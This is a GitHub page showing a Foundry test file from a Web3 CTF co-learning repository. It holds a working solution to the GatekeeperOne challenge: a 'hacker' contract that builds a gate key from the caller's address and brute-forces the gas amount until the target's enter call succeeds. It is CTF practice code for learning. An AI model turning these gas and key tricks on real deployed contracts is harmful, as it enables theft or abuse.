forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
GatekeeperOne.t.sol
43 lines (36 loc) · 1.15 KB
/
GatekeeperOne.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {GatekeeperOne} from "../src/GatekeeperOne.sol";
contract GatekeeperOneTest is Test {
GatekeeperOne target;
GatekeeperOneHacker targetHacker;
function setUp() public {
target = new GatekeeperOne();
targetHacker = new GatekeeperOneHacker(address(target));
}
function test_GatekeeperOne() public {
address user = makeAddr("user");
uint16 _gateKey16 = uint16(uint160(user));
uint64 _gateKey64 = uint64(1 << 63) + uint64(_gateKey16);
bytes8 gateKey = bytes8(_gateKey64);
vm.prank(user);
targetHacker.hack(gateKey);
}
}
contract GatekeeperOneHacker {
address public target;
constructor(address _target) {
target = _target;
}
function hack(bytes8 gateKey) external {
for (uint256 i = 100; i < 8191; i++) {
(bool success, ) = target.call{gas: i + 8191 * 4}(
abi.encodeWithSignature("enter(bytes8)", gateKey)
);
if (success) {
break;
}
}
}
}